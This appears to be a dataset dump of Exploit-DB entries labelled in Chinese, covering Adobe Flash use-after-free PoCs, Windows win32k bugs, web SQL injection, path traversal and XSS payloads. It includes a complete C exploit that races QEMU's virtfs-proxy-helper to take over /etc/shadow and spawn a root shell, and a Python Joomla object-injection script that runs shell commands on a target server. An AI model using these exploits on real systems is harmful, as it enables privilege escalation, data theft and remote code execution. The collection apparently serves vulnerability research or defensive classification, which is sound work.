QLWD/code_shield huggingface dataset:
标题: Adobe Flash TextField.replaceSel - Use-After-Free EDB-ID: 39047 CVE: 2015-8423 类型: DOS 平台: WINDOWS 发布日期: 2015-12-18 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=585

There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.

A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceSel({valueOf : func});

function func(){

 mc.removeMovieClip();

        // Fix heap here

 return "text";
 
 }

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip URL: https://www.exploit-db.com/exploits/39047
标题: Adobe Flash TextField.setFormat - Use-After-Free EDB-ID: 39046 CVE: 2015-8422 类型: DOS 平台: WINDOWS 发布日期: 2015-12-18 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=586

The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
var f = new TextFormat();
tf.setFormat( {valueOf : func}, 2, f);

function func(){

        if(times == 0){
             times++;
             return 0;

         }

 mc.removeMovieClip();

        // Fix heap here

 return 0;
 
 }

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39046.zip URL: https://www.exploit-db.com/exploits/39046
标题: Adobe Flash Selection.SetSelection - Use-After-Free EDB-ID: 39043 CVE: 2015-8413 类型: DOS 平台: WINDOWS_X86-64 发布日期: 2015-12-18 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=590

There is a use-after-free in Selection.SetSelection. If it is called with a number parameter, which is an object with valueOf defined, and this function frees the parent of the TextField parameter, the object is used after it is freed. A minimal PoC follows:

var mc = this.createEmptyMovieClip("mc", 301);
var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
myText_txt.text = "this is my text";
Selection.setFocus("myText_txt");
var n = {valueOf : func};
Selection.setSelection(n, 3);

function func(){

  mc.removeMovieClip();
  // Fix heap here
  return 0;

}

A sample swf and fla are attached. Note that this PoC only works on 64-bit platforms.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39043.zip URL: https://www.exploit-db.com/exploits/39043
标题: Adobe Flash MovieClip.startDrag - Use-After-Free EDB-ID: 39041 CVE: 2015-8411 类型: DOS 平台: WINDOWS 发布日期: 2015-12-18 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=592

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){
 
 mc.removeMovieClip();
 
        // Fix heap here

 return 1;
 
 }
 
A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip URL: https://www.exploit-db.com/exploits/39041
标题: Microsoft Windows 8.1 - 'win32k' Local Privilege Escalation (MS15-010) EDB-ID: 39035 CVE: 2015-0057 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2015-12-18 漏洞利用脚本: # Exploit Title: MS15-010/CVE-2015-0057 win32k Local Privilege Escalation
# Date: 2015-12-17
# Exploit Author: Jean-Jamil Khalife
# Software Link: http://www.microsoft.com
# Version: Windows 8.1 (x64)
# Tested on: Windows 8.1 (x64)
# CVE : CVE-2015-0057


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39035.zip URL: https://www.exploit-db.com/exploits/39035
标题: Microsoft Windows Kernel - 'win32k!OffsetChildren' Null Pointer Dereference EDB-ID: 39025 CVE: 2015-6171 类型: DOS 平台: WINDOWS 发布日期: 2015-12-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=544

The attached PoC triggers a null pointer vulnerability in OffsetChildren on Windows 7 32-bit. By mapping the null page an attacker can leverage this vulnerability to write to an arbitrary address.
---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39025.zip URL: https://www.exploit-db.com/exploits/39025
标题: win32k Clipboard Bitmap - Use-After-Free EDB-ID: 39027 CVE: 2015-6173 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-12-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=533

This PoC triggers a crash on Windows 7 32-bit with Special Pool enabled on win32k.sys. The kernel crashes due to a use-after-free condition with bitmaps in the clipboard.
---

Note that multiple PoC executions and simulated system activity may be required to trigger this issue.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39027.zip URL: https://www.exploit-db.com/exploits/39027
标题: win32k Desktop and Clipboard - Null Pointer Dereference EDB-ID: 39026 CVE: 2015-6174 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-12-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=534

The attached PoC triggers a null pointer condition on Windows 7 32-bit, which can potentially be exploited on versions of Windows that allow mapping the null page (e.g. Windows 7 32-bit).
---

Note that multiple PoC executions and simulated system activity (such as opening Explorer) may be required to trigger this issue.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39026.zip URL: https://www.exploit-db.com/exploits/39026
标题: Adobe Flash MovieClip.lineStyle - Use-After-Frees EDB-ID: 39021 CVE: 2015-8044 类型: DOS 平台: WINDOWS 发布日期: 2015-12-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=558

There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

function func(){
 
 triangle_mc.removeMovieClip();
 return "none";
 
 }

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip URL: https://www.exploit-db.com/exploits/39021
标题: Adobe Flash TextField.gridFitType Setter - Use-After-Free EDB-ID: 39020 CVE: 2015-7652 类型: DOS 平台: WINDOWS 发布日期: 2015-12-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=559

There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){
 
 toptf.removeMovieClip(); 
 trace("here");
 return "none";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = "advanced";
my_text1.gridFitType = o;
my_text1.setTextFormat(my_format); 

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39020.zip URL: https://www.exploit-db.com/exploits/39020
标题: Adobe Flash GradientFill - Use-After-Frees EDB-ID: 39022 CVE: 2015-8043 类型: DOS 平台: WINDOWS 发布日期: 2015-12-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=557

There are a number of use-after-free vulnerabilities in MovieClip.beginGradientFill. If the spreadMethod or any other string parameter is an object with toString defined, this method can free the MovieClip, which is then used. Note that many parameters to this function can be used to execute script and free the MovieClip during execution, it is recommended that this issues be fixed with a stale pointer check. 

A PoC is as follows:

this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
 
  colors = [0xFF0000, 0x0000FF];
    fillType = "radial"
    alphas = [100, 100];
    ratios = [0, 0xFF];
 var o = {toString: func};
    spreadMethod = o;
    interpolationMethod = "linearRGB";
    focalPointRatio = 0.9;
    matrix = new Matrix();
    matrix.createGradientBox(100, 100, Math.PI, 0, 0);
    beginGradientFill(fillType, colors, alphas, ratios, matrix, 
        spreadMethod, interpolationMethod, focalPointRatio);
    moveTo(100, 100);
    lineTo(100, 300);
    lineTo(300, 300);
    lineTo(300, 100);
    lineTo(100, 100);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
 
 trace("in func");
 var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
 trace(test);
 test.removeTextField();
 return "reflect";
 }

A sample swf and fla is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39022.zip URL: https://www.exploit-db.com/exploits/39022
标题: Joomla! Component Sexy polling 1.0.8 - 'answer_id' SQL Injection EDB-ID: 39028 CVE: 2013-7219 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/64991/info

Sexy polling extension for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sexy polling 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/components/com_sexypolling/vote.php
POST
answer_id[]=[SQL Injection] URL: https://www.exploit-db.com/exploits/39028
标题: Oracle Supply Chain Products Suite - Remote Security EDB-ID: 39018 CVE: 2013-5880 类型: REMOTE 平台: MULTIPLE 发布日期: 2014-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/64836/info

Oracle Supply Chain Products Suite is prone to a remote vulnerability in Oracle Demantra Demand Management.

The vulnerability can be exploited over the 'HTTP' protocol. The 'DM Others' sub component is affected.

Attackers can exploit this issue to obtain sensitive information.

This vulnerability affects the following supported versions:
12.2.0, 12.2.1, 12.2.2

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml URL: https://www.exploit-db.com/exploits/39018
标题: UAEPD Shopping Script - 'products.php' Multiple SQL Injections EDB-ID: 39011 CVE: 2014-1618 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/64734/info

UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. 

http://www.example.com/products.php?cat_id=4 URL: https://www.exploit-db.com/exploits/39011
标题: Adobe Flash TextField.antiAliasType Setter - Use-After-Free EDB-ID: 39019 CVE: 2015-8046 类型: DOS 平台: WINDOWS 发布日期: 2015-12-17 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=560

There is a use-after-free in the TextField antiAliasType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){
 
 toptf.removeMovieClip(); 
 trace("here");
 return "advanced";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = o;
my_text1.gridFitType = "none";
my_text1.setTextFormat(my_format); 

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39019.zip URL: https://www.exploit-db.com/exploits/39019
标题: Atmail Webmail Server - Email Body HTML Injection EDB-ID: 39015 CVE: 2013-6017 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/64779/info

Atmail Webmail Server is prone to an HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Atmail 7.1.3 is vulnerable; others versions may also be affected. 

 <iframe width=0 height=0 src="javascript:alert('xss in main body')"> URL: https://www.exploit-db.com/exploits/39015
标题: UAEPD Shopping Script - 'news.php?id' SQL Injection EDB-ID: 39012 CVE: 2014-1618 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/64734/info
 
UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
 
http://www.example.com/news.php?id=1 URL: https://www.exploit-db.com/exploits/39012
标题: QEMU (Gentoo) - Local Privilege Escalation EDB-ID: 39010 CVE: 2015-8556 类型: LOCAL 平台: LINUX 发布日期: 2015-12-17 漏洞利用脚本: /* == virtfshell ==
 *
 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
 * virtfs-proxy-helper makes some sort of flimsy check to make sure
 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
 *
 * This should spawn a root shell eventually on vulnerable systems.
 *
 * - zx2c4
 * 2015-12-12
 *
 *
 * zx2c4@thinkpad ~ $ lsb_release -i
 * Distributor ID: Gentoo
 * zx2c4@thinkpad ~ $ ./virtfshell 
 * == Virtfshell - by zx2c4 ==
 * [+] Trying to win race, attempt 749
 * [+] Chown'd /etc/shadow, elevating to root
 * [+] Cleaning up
 * [+] Spawning root shell
 * thinkpad zx2c4 # whoami
 * root
 *
 */

#include <stdio.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>


static int it_worked(void)
{
 struct stat sbuf = { 0 };
 stat("/etc/shadow", &sbuf);
 return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
 int fd;
 pid_t pid;
 char uid[12], gid[12];
 size_t attempts = 0;

 sprintf(uid, "%d", getuid());
 sprintf(gid, "%d", getgid());

 printf("== Virtfshell - by zx2c4 ==\n");

 printf("[+] Beginning race loop\n");

 while (!it_worked()) {
  printf("\033[1A\033[2K[+] Trying to win race, attempt %zu\n", ++attempts);
  fd = inotify_init();
  unlink("/tmp/virtfshell/sock");
  mkdir("/tmp/virtfshell", 0777);
  inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
  pid = fork();
  if (pid == -1)
   continue;
  if (!pid) {
   close(0);
   close(1);
   close(2);
   execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
   _exit(1);
  }
  read(fd, 0, 0);
  unlink("/tmp/virtfshell/sock");
  symlink("/etc/shadow", "/tmp/virtfshell/sock");
  close(fd);
  kill(pid, SIGKILL);
  wait(NULL);
 }

 printf("[+] Chown'd /etc/shadow, elevating to root\n");

 system( "cp /etc/shadow /tmp/original_shadow;"
  "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
  "cat /tmp/modified_shadow > /etc/shadow;"
  "su -c '"
  " echo [+] Cleaning up;"
  " cat /tmp/original_shadow > /etc/shadow;"
  " chown root:root /etc/shadow;"
  " rm /tmp/modified_shadow /tmp/original_shadow;"
  " echo [+] Spawning root shell;"
  " exec /bin/bash -i"
  "'");
 return 0;
} URL: https://www.exploit-db.com/exploits/39010
标题: Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution EDB-ID: 38977 CVE: 2015-8562 类型: WEBAPPS 平台: PHP 发布日期: 2015-12-15 漏洞利用脚本: '''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl) URL: https://www.exploit-db.com/exploits/38977
标题: Adobe Flash - Type Confusion in IExternalizable.readExternal When Performing Local Serialization EDB-ID: 38969 CVE: 2015-7647 类型: DOS 平台: MULTIPLE 发布日期: 2015-12-14 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=548

If IExternalizable.readExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption.

A sample swf is attached. ActionScript code is also attached, but it does not compile to the needed to swf. To get the PoC, decompress the swf using flasm -x myswf, and then search for "teadExternal" and change it to "readExternal".


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38969.zip URL: https://www.exploit-db.com/exploits/38969
标题: Adobe Flash - Type Confusion in Serialization with ObjectEncoder.dynamicPropertyWriter EDB-ID: 38970 CVE: 2015-7648 类型: DOS 平台: MULTIPLE 发布日期: 2015-12-14 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=545

There is a type confusion issue during serialization if ObjectEncoder.dynamicPropertyWriter is overridden with a value that is not a function.

In the following ActionScript:

  flash.net.ObjectEncoding.dynamicPropertyWriter = new subdpw();
  var b = new ByteArray();
  var a = {};
  a.test = 1;
  b.writeObject(a);

The object 'a' with a dynamic property 'test' is serialized using a custom dynamicPropertyWriter of class subpwd. However this class overrides writeDynamicProperties with a property that is not a function leading to type confusion (note that this is not possible in the compiler, the bytecode needs to be modified manually).

To reproduce the issue, load objectencoding.swf. PoC code is also attached. To use this code, compile the swf, and decompress it (for example, using flasm -x), and then search for the string "triteDocumentProperties" in the SWF and change it to "writeDocumentProperties".


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38970.zip URL: https://www.exploit-db.com/exploits/38970